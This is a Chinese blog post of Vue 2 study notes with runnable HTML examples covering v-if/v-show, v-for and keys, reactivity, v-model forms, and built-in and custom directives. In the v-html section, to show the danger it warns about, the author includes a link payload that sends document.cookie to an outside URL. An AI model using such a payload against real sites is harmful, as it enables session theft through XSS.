day44-测试平台搭建之前端vue学习-基础3

news2024/12/24 8:58:23

目录

一、条件渲染

二、列表渲染

三、收集表单数据

四、内置指令

五、自定义指令

六、今日学习思维导图


一、条件渲染

        1.1.v-if

                1).写法

                        1.1).v-if="表达式"

                        1.2).v-else-if="表达式"

                        1.3).v-else="表达式‘

                2).适用于:切换频率较低的场景。

                3).特点:不展示的DOM元素直接被移除。

                4).注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被"打断”。

        1.2.v-show

                1).写法:V-show="表达式"

                2).适用于:切换频率较高的场景。

                3).特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

        1.3.注意

                使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。

        1.4.代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>条件渲染</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				条件渲染:
							1.v-if
										写法:
												(1).v-if="表达式" 
												(2).v-else-if="表达式"
												(3).v-else="表达式"
										适用于:切换频率较低的场景。
										特点:不展示的DOM元素直接被移除。
										注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。

							2.v-show
										写法:v-show="表达式"
										适用于:切换频率较高的场景。
										特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
								
							3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
			<!-- 使用v-show做条件渲染 -->
			<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- 使用v-if做条件渲染 -->
			<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- v-else和v-else-if -->
			<!-- <div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div> -->

			<!-- v-if与template的配合使用 -->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>1900</h2>
				<h2>广州</h2>
			</template>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				name:'1900',
				n:0
			}
		})
	</script>
</html>

二、列表渲染

        2.1.v-for指令

                1).用于展示列表数据

                2).语法:v-for="(item, index) in xxx":key="yyy"

                3).可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

                4).代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本列表</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				v-for指令:
						1.用于展示列表数据
						2.语法:v-for="(item, index) in xxx" :key="yyy"
						3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
				</li>
			</ul>

			<!-- 遍历对象 -->
			<h2>汽车信息(遍历对象)</h2>
			<ul>
				<li v-for="(value,k) of car" :key="k">
					{{k}}-{{value}}
				</li>
			</ul>

			<!-- 遍历字符串 -->
			<h2>测试遍历字符串(用得少)</h2>
			<ul>
				<li v-for="(char,index) of str" :key="index">
					{{char}}-{{index}}
				</li>
			</ul>
			
			<!-- 遍历指定次数 -->
			<h2>测试遍历指定次数(用得少)</h2>
			<ul>
				<li v-for="(number,index) of 5" :key="index">
					{{index}}-{{number}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					],
					car:{
						name:'奥迪A8',
						price:'70万',
						color:'黑色'
					},
					str:'hello'
				}
			})
		</script>
</html>

        2.2.key的内部原理

                1).虚拟DOM中key的作用

                        1.1).key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】

                        1.2).随后Vue进行【新虚拟DOM】与【I旧虚拟DOM】的差异比较。

                2).对比规则

                        2.1).虚拟DOM中找到了与新虚拟DOM相同的key:

                                1.若虚拟DOM中内容没变,直接使用之前的真实DOM!

                                2.若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM

                        2.2).旧虚拟DOM中未找到与新虚拟DOM相同的key

                                创建新的真实DOM,随后渲染到到页面。

                3).用index作为key可能会引发的问题

                        3.1).若对数据进行:逆序添加、逆序删除等破坏顺序操作

                                会产生没有必要的真实DOM更新==)界面效果没问题,但效率低。

                        3.2).如果结构中还包含输入类的DOM

                                会产生错误DOM更新==)界面有问题。

                4).开发中如何选择key?

                        4.1).最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。

                        4.2).如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。

                5).代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>key的原理</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				面试题:react、vue中的key有什么作用?(key的内部原理)
						
						1. 虚拟DOM中key的作用:
										key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 
										随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
										
						2.对比规则:
									(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
												①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
												②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

									(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
												创建新的真实DOM,随后渲染到到页面。
												
						3. 用index作为key可能会引发的问题:
											1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
															会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

											2. 如果结构中还包含输入类的DOM:
															会产生错误DOM更新 ==> 界面有问题。

						4. 开发中如何选择key?:
											1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
											2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
												使用index作为key是没有问题的。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<button @click.once="add">添加一个老刘</button>
			<ul>
				<li v-for="(p,index) of persons" :key="p.id">
					{{p.name}}-{{p.age}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				},
				methods: {
					add(){
						const p = {id:'004',name:'老刘',age:40}
						this.persons.unshift(p)
					}
				},
			})
		</script>
</html>

        2.3.Vue监视数据的原理

                1).Vue会监视data中所有层次的数据。

                2).如何监测对象中的数据?

                        通过setter实现监视,且要在newVue时就传入要监测的数据

                                1.对象中后追加的属性,Vue默认不做响应式处理

                                2.如需给后添加的属性做响应式,请使用如下API:

                                        2.1.Vue.set(target, propertyName/index, value)

                                        2.2.vm.$set(target, propertyName/index, value)

                3).如何监测数组中的数据?

                        通过包裹数组更新元素的方法实现,本质就是做了两件事:

                                1.调用原生对应的方法对数组进行更新。

                                2.重新解析模板,进而更新页面。

                4).在Vue修改数组中的某个元素一定要用如下方法

                        4.1).使用这些APl:pushO、popO、shiftO、unshiftO、spliceO、sortO、reverseO

                        4.2).Vue.setO 或 vm.$setO

                5).特别注意:Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性!!!

                6).代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>总结数据监视</title>
		<style>
			button{
				margin-top: 10px;
			}
		</style>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!--
			Vue监视数据的原理:
				1. vue会监视data中所有层次的数据。

				2. 如何监测对象中的数据?
								通过setter实现监视,且要在new Vue时就传入要监测的数据。
									(1).对象中后追加的属性,Vue默认不做响应式处理
									(2).如需给后添加的属性做响应式,请使用如下API:
													Vue.set(target,propertyName/index,value) 或 
													vm.$set(target,propertyName/index,value)

				3. 如何监测数组中的数据?
									通过包裹数组更新元素的方法实现,本质就是做了两件事:
										(1).调用原生对应的方法对数组进行更新。
										(2).重新解析模板,进而更新页面。

				4.在Vue修改数组中的某个元素一定要用如下方法:
							1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
							2.Vue.set() 或 vm.$set()
				
				特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1岁</button> <br/>
			<button @click="addSex">添加性别属性,默认值:男</button> <br/>
			<button @click="student.sex = '未知' ">修改性别</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名:{{student.name}}</h3>
			<h3>年龄:{{student.age}}</h3>
			<h3 v-if="student.sex">性别:{{student.sex}}</h3>
			<h3>爱好:</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们:</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
				addFriend(){
					this.student.friends.unshift({name:'jack',age:70})
				},
				updateFirstFriendName(){
					this.student.friends[0].name = '张三'
				},
				addHobby(){
					this.student.hobby.push('学习')
				},
				updateHobby(){
					// this.student.hobby.splice(0,1,'开车')
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			}
		})
	</script>
</html>

三、收集表单数据

        3.1.若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。

        3.2.若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。

        3.3.若:<input type="checkbox"/>

                1).没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)

                2).配置input的value属性:

                        2.1).V-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)

                        2.2).V-model的初始值是数组,那么收集的的就是value组成的数组

        3.4.注意:V-model的三个修饰符:

                1).lazy:失去焦点再收集数据

                2).number:输入字符串转为有效的数字

                3).trim:输入首尾空格过滤

        3.4.代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			收集表单数据:
					若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
					若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
					若:<input type="checkbox"/>
							1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
							2.配置input的value属性:
									(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
									(2)v-model的初始值是数组,那么收集的的就是value组成的数组
					备注:v-model的三个修饰符:
									lazy:失去焦点再收集数据
									number:输入字符串转为有效的数字
									trim:输入首尾空格过滤
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<form @submit.prevent="demo">
				账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码:<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别:
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好:
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属地区
				<select v-model="userInfo.city">
					<option value="">请选择地区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息:
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.baidu.com">《用户协议》</a>
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[],
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>

四、内置指令

        4.1.指令

                1).V-bind:单向绑定解析表达式,可简写为:xxx

                2).V-model:双向数据绑定

                3).v-for:遍历数组/对象/字符串

                4).V-on:绑定事件监听,可简写为@

                5).V-if:条件渲染(动态控制节点是否存存在)

                6).V-else:条件渲染(动态控制节点是否存存在)

                7).V-show:条件渲染(动态控制节点是否展示)

        4.2.v-text指令

                1).作用:向其所在的节点中渲染文本内容。

                2).与插值语法的区别:v-text会替换掉节点中的内容,{(xx)}则不会。

                3).代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				我们学过的指令:
						v-bind	: 单向绑定解析表达式, 可简写为 :xxx
						v-model	: 双向数据绑定
						v-for  	: 遍历数组/对象/字符串
						v-on   	: 绑定事件监听, 可简写为@
						v-if 	 	: 条件渲染(动态控制节点是否存存在)
						v-else 	: 条件渲染(动态控制节点是否存存在)
						v-show 	: 条件渲染 (动态控制节点是否展示)
				v-text指令:
						1.作用:向其所在的节点中渲染文本内容。
						2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'1900',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>

        4.3.v-html指令

                1).作用:向指定节点中渲染包含html结构的内容。

                2).与插值语法的区别

                        2.1).v-html会替换掉节点中所有的内容,{(xx}}则不会。

                        2.2).v-html可以识别html结构。

                3).严重注意:V-html有安全性问题!!!!

                        3.1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

                        3.2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

                4).代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				v-html指令:
						1.作用:向指定节点中渲染包含html结构的内容。
						2.与插值语法的区别:
									(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
									(2).v-html可以识别html结构。
						3.严重注意:v-html有安全性问题!!!!
									(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
									(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'1900',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

        4.4.v-cloak指令(没有值)

                1).本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

                2).使用css配合v-cloak可以解决网速慢时页面展示出{(xxx}的问题。

                3).代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 
				v-cloak指令(没有值):
						1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
						2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'1900'
			}
		})
	</script>
</html>

        4.5.v-once指令

                1).V-once所在节点在初次动态渲染后,就视为静态内容了。

                2).以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

                3).代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-once指令:
						1.v-once所在节点在初次动态渲染后,就视为静态内容了。
						2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

        4.6.V-pre指令

                1).跳过其所在节点的编译过程。

                2).可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

                3).代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-pre指令:
					1.跳过其所在节点的编译过程。
					2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

五、自定义指令

        5.1.定义语法

                1).局部指令

                        1.1).newVue({directives:{指令名:配置对}})

                        1.2).newVue({directives{指令名:回调函数})

                2).全局指令

                        2.1).Vue.directive(指令名,配置对象)

                        2.2).Vue.directive(指令名,回调函数)

        5.2.配置对象中常用的3个回调

                1).bind:指令与元素成功绑定时调用。

                2).inserted:指令所在元素被插入页面时调用。

                3).update:指令所在模板结构被重新解析时调用。

        5.3.注意

                1).指令定义时不加v-,但使用时要加v-;

                2).指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

        5.4.代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
				需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
				自定义指令总结:
						一、定义语法:
									(1).局部指令:
												new Vue({															new Vue({
													directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
												}) 																		})
									(2).全局指令:
													Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

						二、配置对象中常用的3个回调:
									(1).bind:指令与元素成功绑定时调用。
									(2).inserted:指令所在元素被插入页面时调用。
									(3).update:指令所在模板结构被重新解析时调用。

						三、备注:
									1.指令定义时不加v-,但使用时要加v-;
									2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是:<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'1900',
				n:1
			},
			directives:{
				//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 10
				},
				fbind:{
					//指令与元素成功绑定时(一上来)
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
		
	</script>
</html>

六、今日学习思维导图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2112274.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Kafka 实战演练:创建、配置与测试 Kafka全面教程

文章目录 1.配置文件2.消费者1.注解方式2.KafkaConsumer 3.依赖1.注解依赖2.KafkaConsumer依赖 本文档只是为了留档方便以后工作运维&#xff0c;或者给同事分享文档内容比较简陋命令也不是特别全&#xff0c;不适合小白观看&#xff0c;如有不懂可以私信&#xff0c;上班期间都…

腾讯地图SDK Android版开发 10 InfoWindow

腾讯地图SDK Android版开发 10 InfoWindow 前言介绍默认风格自定义样式实现方式交互操作播放信息窗口的动画开启多窗口模式 相关类和接口默认样式MarkerOptions 类Marker 类TencentMap类TencentMap.OnInfoWindowClickListener 接口类 自定义样式TencentMap 类TencentMap.InfoWi…

6.2高斯滤波

目录 实验原理 示例代码1 运行结果1 示例代码2 运行结果2 实验代码3 运行结果3 实验原理 在OpenCV中&#xff0c;高斯滤波&#xff08;Gaussian Filtering&#xff09;是一种非常常用的图像平滑处理方法。它通过使用一个高斯核&#xff08;即高斯分布函数&#xff09;对…

Pr 入门系列之二:导入与管理素材(下)

◆ ◆ ◆ 管理素材 导入素材后&#xff0c;项目面板中每一个媒体都只是原始素材的“链接”。 所以&#xff0c;视频编辑过程中一般情况下都不会破坏原始素材。 1、在不同视图模式下组织素材 项目面板提供了三大视图 View供选用&#xff1a;列表视图、图标视图以及自由格式视图…

基于VAE和流模型的AIGC技术

哇哦&#xff0c;VAE&#xff08;变分自编码器&#xff09;和流模型在AI生成内容&#xff08;AIGC&#xff09;领域可真是大放异彩呢&#xff01;&#x1f680;&#x1f31f; 它们就像魔法师一样&#xff0c;能够创造出各种各样、高质量的数据&#xff0c;从图像到音频&#xf…

计算机网络(三) —— 简单Udp网络程序

目录 一&#xff0c;初始化服务器 1.0 辅助文件 1.1 socket函数 1.2 填充sockaddr结构体 1.3 bind绑定函数 1.4 字符串IP和整数IP的转换 二&#xff0c;运行服务器 2.1 接收 2.2 处理 2.3 返回 三&#xff0c;客户端实现 3.1 UdpClient.cc 实现 3.2 Main.cc 实现 …

MongoDB 5.0版本副本集集群

一、MongoDB 5.0版本副本集集群部署 什么是MongoDB的副本集 MongoDB的副本集&#xff08;Replica Set&#xff09;是一种用于提高数据库系统可用性、可靠性和数据冗余性的机制。副本集包含一组相互连接的MongoDB节点&#xff0c;其中包括一个主节点&#xff08;Primary&#…

基于web的赴台展会人员管理系统设计与实现

博主介绍&#xff1a;专注于Java .net php phython 小程序 等诸多技术领域和毕业项目实战、企业信息化系统建设&#xff0c;从业十五余年开发设计教学工作 ☆☆☆ 精彩专栏推荐订阅☆☆☆☆☆不然下次找不到哟 我的博客空间发布了1000毕设题目 方便大家学习使用 感兴趣的可以…

VSC++: 括号对称比较

括号的使用规则&#xff1a;大括号&#xff0c;中括号&#xff0c;小括号{[()]}&#xff1b;中括号&#xff0c;小括号[()]&#xff1b;小括号()&#xff1b;大括号、中括号、小括号、中括号、小括号、大括号{[()][()]}&#xff1b;大括号&#xff0c;中括号&#xff0c;小括号…

Reflection 70B:震撼AI行业的开源模型

随着人工智能&#xff08;AI&#xff09;技术的快速发展&#xff0c;开源与闭源模型的竞争变得越来越激烈。近日&#xff0c;Reflection 70B模型的发布在AI行业引发了巨大的震动。这款拥有70亿参数的开源模型不仅在多项基准测试中取得了优异成绩&#xff0c;还在很多情况下超越…

无人机之报警器的工作原理

无人机报警器&#xff08;通常指的是无人机上搭载的某种警报系统或装置&#xff0c;用于在特定条件下触发警报&#xff09;的作用原理可能涉及多个方面&#xff0c;但具体到无人机报警器这一组件&#xff0c;其原理往往与无人机的整体安全监控、电池状态监测或任务执行中的特定…

基于Java+SpringBoot+Vue+MySQL的美发管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 基于SpringBootVue的美发管理系统【附源码文档】、前后端分…

揭秘循环购模式:如何实现消费增值与日常收益

欢迎各位&#xff0c;我是吴军&#xff0c;你们的电商策略顾问。今天&#xff0c;我将向大家介绍一种新颖的商业模式——循环购模式&#xff0c;它如何为商家和消费者创造价值。 你可能会好奇&#xff0c;为何会有“消费1000元&#xff0c;赠送2000元”的优惠&#xff1f;以及…

算法练习小技巧之有序集合--套路详细解析带例题(leetcode)

前言: 本文详细讲解Python中的有序集合SortedList和C中的有序集合multiset的用法&#xff0c;配合leetcode的例题来展示实际的用处。(本人水平不够&#xff0c;还无法讲解有序集合的实现方法&#xff0c;只会用) 觉得有帮助或者写的不错可以点个赞&#xff0c;后面也有几道我找…

[数据集][目标检测]抽烟检测数据集VOC+YOLO格式22559张2类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;22559 标注数量(xml文件个数)&#xff1a;22559 标注数量(txt文件个数)&#xff1a;22559 标…

本机ip地址怎么看是不是公网

在数字化时代&#xff0c;‌了解自己的网络连接属性&#xff0c;‌尤其是本机IP地址是否为公网IP&#xff0c;‌对于网络安全、‌远程访问、‌在线服务配置等方面都至关重要。‌公网IP&#xff0c;‌即互联网上的唯一地址&#xff0c;‌能让任何连接互联网的设备访问到你的设备…

java框架第五课(终极版本)SpringBoot

一.关于SpringBoot (1)回忆Spring 传统的Spring由Spring 框架(ioc,aop)加mybatis加Springweb组成&#xff0c;虽然相比原生的java程序Spring框架帮我们大大减少了代码量&#xff0c;减少了冗余&#xff0c;提高了开发效率但是由于Spring框架下的配置和相关的jar包依赖过多&am…

图像去噪:使用DAMRmF算法

在数字图像处理领域&#xff0c;噪声是不可避免的&#xff0c;它会影响图像的质量和可读性。为了提高图像的质量&#xff0c;去噪算法是必不可少的工具。在这篇文章中&#xff0c;我们将介绍一种名为DAMRmF的去噪算法&#xff0c;并展示如何使用MATLAB实现和应用它。 一、什么…

1-8 图像腐蚀 opencv树莓派4B 入门系列笔记

目录 一、提前准备 二、代码详解 kernelnp.ones((2,2),np.uint8) _, binary_image cv2.threshold(image, 127, 255, cv2.THRESH_BINARY) eroded_imagecv2.erode(binary_image,kernel,iterations1) eroded_image2cv2.erode(image2,kernel,iterations1) 三、运行现象 四…

如何处理忘记实现接口所有方法

在Java编程中&#xff0c;当你声明一个类实现了某个接口时&#xff0c;但没有实现接口中的所有方法&#xff0c;编译器会报错。这是因为接口规定了必须由实现类提供的功能&#xff0c;任何没有实现的接口方法&#xff0c;都会被认为是实现不完整的&#xff0c;导致编译失败。 …